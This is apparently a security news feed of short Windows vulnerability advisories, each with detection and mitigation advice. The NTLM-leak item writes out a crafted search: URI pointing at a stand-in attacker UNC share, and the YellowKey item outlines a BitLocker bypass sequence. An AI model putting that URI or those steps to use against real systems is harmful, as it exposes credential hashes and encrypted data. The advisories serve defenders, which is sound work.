Last updated: August 19, 2026 at 1:47 AM UTC
All 741 Vulnerability 286 Breach 129 Threat 319 Defense 7
Tag: windows (18 articles)Clear

Ransomware gangs now exploit a Windows Task Host flaw to gain SYSTEM

CISA confirmed that ransomware groups are now exploiting a Windows Task Host privilege-escalation flaw that has been flagged as actively exploited since April. Tracked as CVE-2025-60710 and scored 7.8, it is a link-following weakness in the component that runs background scheduled tasks as SYSTEM: a local attacker with only basic user rights can use a junction on a user-writable path to make a SYSTEM-level task act on files it should not, escalating to full control. Microsoft patched it in November 2025, and it affects Windows 11 and Server 2025. Privilege escalation like this is exactly what ransomware operators need to disable defenses and spread after gaining an initial foothold.

Check
Confirm the November 2025 update for this flaw is deployed across Windows 11 and Windows Server 2025 systems, prioritizing any that still lack it, since ransomware crews are now using it.
Affected
Windows 11 and Windows Server 2025 systems missing the November 2025 patch (CVE-2025-60710); a local attacker with basic rights can escalate to SYSTEM, and ransomware groups are actively exploiting it.
Fix
Apply the patch, prioritize privilege-escalation fixes in your patching since they enable ransomware to spread, monitor for junction abuse and unexpected SYSTEM-level file operations, and limit local footholds through least privilege.

7-Zip fixes code execution flaw triggered by opening a crafted archive

7-Zip has released version 26.02 to fix a remote code execution vulnerability that can be triggered when a user opens a specially crafted compressed file. The archiving tool is installed on a very large number of Windows systems and is routinely used to open attachments and downloads, so a flaw that fires on opening an archive is attractive to attackers who rely on phishing. There are no reports of active exploitation so far. Similar archiving tool flaws have been weaponized quickly in the past: a WinRAR vulnerability was used last year by a Russian group in phishing attacks to install malware, so patching early matters.

Check
Update 7-Zip to version 26.02 across workstations and servers, including copies bundled inside other software or installed manually outside your patch management system.
Affected
Anyone running 7-Zip before version 26.02; opening a malicious archive received by email or download can lead to code execution, a pattern attackers have abused in past archiving tool flaws.
Fix
Install 7-Zip 26.02, inventory manually installed copies that patch tooling may miss, and remind users to treat unexpected archive attachments with caution since opening one can be enough.

Zoom patches critical flaw that could let attackers take over Windows accounts

Zoom has patched a critical vulnerability in its Windows software that could let an unauthenticated attacker take over user accounts over the network. Tracked as CVE-2026-53412 and rated 9.8, the flaw is an improper input validation issue affecting Zoom Workplace for Windows, the VDI client, and the Meeting SDK before version 7.0.0. Zoom found it internally, shared no technical details, and says there is no evidence of exploitation or public exploit code yet. Because the Windows client sits on millions of corporate desktops and the flaw needs no credentials or user interaction, it poses a broad risk, so applying the latest updates promptly is the key mitigation.

Check
Inventory where Zoom Workplace for Windows, the VDI client, or the Meeting SDK are deployed, check their versions, and roll out 7.0.0 or later, prioritizing widely used and internet-reachable systems.
Affected
Organizations and users running Zoom Workplace for Windows, the Windows VDI client, or the Windows Meeting SDK before version 7.0.0 (CVE-2026-53412); an unauthenticated network attacker could take over accounts without user interaction.
Fix
Update all affected Zoom Windows components to version 7.0.0 or later, apply the accompanying fixes for the related privilege-escalation flaws, and keep Zoom clients on automatic updates where possible.

Researcher drops unpatched Windows privilege-escalation zero-day right after Patch Tuesday

Less than an hour after Microsoft's July Patch Tuesday, the researcher known as Nightmare Eclipse published a proof-of-concept for LegacyHive, a Windows privilege-escalation flaw that works on fully updated systems. It abuses the Windows User Profile Service to let a standard user load another user's registry hive, including an administrator's, into their own profile, a useful stepping stone for an attacker who already has a foothold. There is no CVE, advisory, or patch. The public proof-of-concept was deliberately stripped down, needing extra credentials, but the researcher says the original had no such limits. Given this researcher's flaws have been weaponized quickly before, defenders should not wait for a fix.

Check
Since there is no patch, limit who can create local standard-user accounts, and monitor the Windows User Profile Service for unexpected registry hive loads and access to NTUSER.DAT and UsrClass.dat files.
Affected
Fully patched Windows desktops and servers; an attacker with a standard-user foothold and credentials can use LegacyHive to load another user's registry hive and help escalate privileges, with no fix yet.
Fix
Apply Microsoft's fix as soon as it ships, and until then restrict local account creation, watch for suspicious profile-service and registry activity, and validate the proof-of-concept only in isolated test environments.

Microsoft ships record 200-plus June patches, including three zero-days

Microsoft's June 2026 Patch Tuesday is the largest on record, fixing more than 200 vulnerabilities (independent counts put the total above 206), including three publicly disclosed zero-days that are not yet being exploited. The standout is CVE-2026-45586, a Windows CTFMON elevation-of-privilege flaw that grants SYSTEM access, which matches the GreenPlasma bug a researcher dropped in protest of Microsoft's bug-bounty handling; a BitLocker bypass called YellowKey was also fixed. The update includes 33 critical flaws, most of them remote code execution, hitting Remote Desktop, Hyper-V, Office, and cryptographic services. Microsoft flagged 15 issues as more likely to be exploited soon.

Check
Inventory Windows endpoints and servers against the June 2026 update level, and prioritize systems exposed to Remote Desktop, Hyper-V hosts, and anything processing untrusted Office documents.
Affected
Windows, Office, Remote Desktop Client, Hyper-V, Secure Boot, BitLocker, and Exchange. Three publicly disclosed zero-days (CVE-2026-45586, CVE-2026-50507, CVE-2026-49160) and 33 critical flaws, mostly remote code execution.
Fix
Test and deploy the June 2026 security updates promptly, prioritizing the publicly disclosed zero-days and critical RCE flaws. Where patching lags, restrict RDP exposure and segment Hyper-V hosts.

Unpatched Defender zero-day RoguePlanet gives SYSTEM on current Windows

Hours after Patch Tuesday, the researcher known as Nightmare Eclipse published a working exploit, dubbed RoguePlanet, for an unpatched Microsoft Defender flaw that opens a command prompt with full SYSTEM privileges on fully updated Windows 10 and 11. The bug is a race condition, so the exploit is hit or miss, but the researcher reports a 100 percent success rate on some machines. They posted the proof-of-concept on a self-hosted Git server after Microsoft had earlier taken down their GitHub and GitLab repositories. It is the latest in a string of Windows zero-days (BlueHammer, RedSun, YellowKey, GreenPlasma) the researcher has released in protest of Microsoft's disclosure practices.

Check
Confirm Microsoft Defender real-time and tamper protection are enabled and current on Windows 10 and 11 endpoints, and watch for unexpected SYSTEM-level command shells spawned from Defender processes.
Affected
Fully patched Windows 10 and Windows 11 systems, including current and Canary builds, running Microsoft Defender; a public proof-of-concept exists and no fix is available yet.
Fix
No patch exists yet; watch for a Microsoft advisory and apply it when released. Meanwhile, rely on EDR behavioral detection and least-privilege controls to limit privilege-escalation impact.

Unpatched Windows search: URI handler leaks NTLMv2 hashes via crafted crumb=location UNC path - same class as patched Snipping Tool flaw

Huntress has disclosed an unpatched Windows vulnerability in the search: URI handler that can leak a user's NTLMv2 hash to an attacker. It mirrors CVE-2026-33829 - the Snipping Tool ms-screensketch: handler flaw Microsoft patched in April - achieving the same end via search:query and crumb=location: parameters pointing at an attacker UNC path (for example, search:query=test&crumb=location:\\attacker\share). If the user approves launching the crafted link from a web page or email, Windows connects to the attacker's SMB server and discloses the Net-NTLMv2 hash, which can be relayed or cracked to authenticate as the user. No patch is currently available; defenders should block outbound SMB and apply Huntress mitigations.

Check
Hunt for processes launching search: URIs with crumb=location pointing at UNC paths. Monitor outbound SMB (TCP 445) to external hosts. Educate users against approving search: link prompts.
Affected
Windows systems with the unpatched search: URI handler. A crafted link in a web page or email, once approved, forces an SMB connection that discloses the user's Net-NTLMv2 hash.
Fix
Block outbound SMB (TCP 445 and 139) at the perimeter. Enforce SMB signing and NTLM relay protections. Apply Huntress mitigations and disable the search: handler where feasible pending a patch.

Microsoft ships mitigation for YellowKey BitLocker bypass (CVE-2026-45585), no patch yet - PoC published, TPM+PIN required

Microsoft has assigned CVE-2026-45585 and shipped mitigation guidance for YellowKey, a Windows BitLocker bypass that anonymous researcher 'Nightmare Eclipse' disclosed last week with a working PoC. The attack places crafted FsTx files on a USB drive or EFI partition, reboots into WinRE, and holds CTRL during boot to drop into a shell with full access to BitLocker-protected drives. Microsoft says no patch is available yet. Mitigations include removing the autofstx.exe entry from Session Manager's BootExecute and reconfiguring BitLocker to require TPM+PIN at startup. Nightmare Eclipse is the same researcher who recently dropped BlueHammer, RedSun, GreenPlasma, UnDefend, and MiniPlasma.

Check
Inventory Windows endpoints with BitLocker enabled. Check whether autofstx.exe is listed in HKLM\System\CurrentControlSet\Control\Session Manager BootExecute. Look for unattended USB media access on shared or kiosk machines.
Affected
Windows endpoints with BitLocker in TPM-only mode (no PIN). YellowKey requires physical access to drop FsTx files on a USB drive or the EFI partition before triggering WinRE boot.
Fix
Remove autofstx.exe from BootExecute and re-establish BitLocker trust for WinRE per CVE-2026-33825 advisory. Reconfigure BitLocker to TPM+PIN. Restrict USB boot and BIOS access on shared endpoints.

MiniPlasma Windows zero-day: working PoC gives SYSTEM on fully patched Windows 11 via cldflt.sys driver

A researcher who goes by Chaotic Eclipse has dropped working proof-of-concept code on GitHub for a Windows local privilege escalation that gives SYSTEM access on fully patched Windows 11 Pro and Windows Server 2025. The bug lives in the Cloud Filter driver cldflt.sys and is, the researcher says, the same flaw Google Project Zero reported to Microsoft as CVE-2020-17103 in 2020, which Microsoft said it fixed in December 2020. The original Google PoC works unmodified. May 2026 Patch Tuesday updates do not stop it. The same researcher has dropped several other Windows zero-days in recent weeks, all of which were quickly seen in real attacks.

Check
Inventory Windows 11 and Server 2022/2025 endpoints. Hunt SIEM for unexpected SYSTEM-context cmd.exe spawns or new processes launched from standard user sessions touching cldflt.sys.
Affected
Microsoft Windows 11 Pro and Windows Server 2025 with May 2026 Patch Tuesday updates applied. The researcher claims all Windows versions are likely affected.
Fix
No patch available. Block execution of the public MiniPlasma binary by hash in EDR. Tighten local user privileges and restrict admin sessions on multi-user endpoints until Microsoft ships a fix.

Microsoft reverses course on Edge: saved passwords will no longer load into memory at startup

Microsoft has flipped its position on Edge keeping saved passwords decrypted in memory the moment the browser launches. After originally telling the researcher who reported it that the behavior was 'by design' and not a security issue, Microsoft now says future Edge builds will stop loading the password store into memory at startup. The fix is already live in the Canary channel and will reach Stable, Beta, Dev, and Extended Stable in build 148. The original disclosure came with a working tool that lets an administrator on a shared Windows machine dump other users' Edge passwords by reading process memory.

Check
Inventory Edge installs across your fleet. Check the current Edge version via edge://settings/help and flag anything below build 148.
Affected
Microsoft Edge versions before build 148 (Stable, Beta, Dev, Canary, Extended Stable) that store credentials via Edge's built-in password manager.
Fix
Update Edge to build 148 or newer when it ships. Until then, disable Edge's built-in password manager on sensitive endpoints and limit local admin rights on shared machines.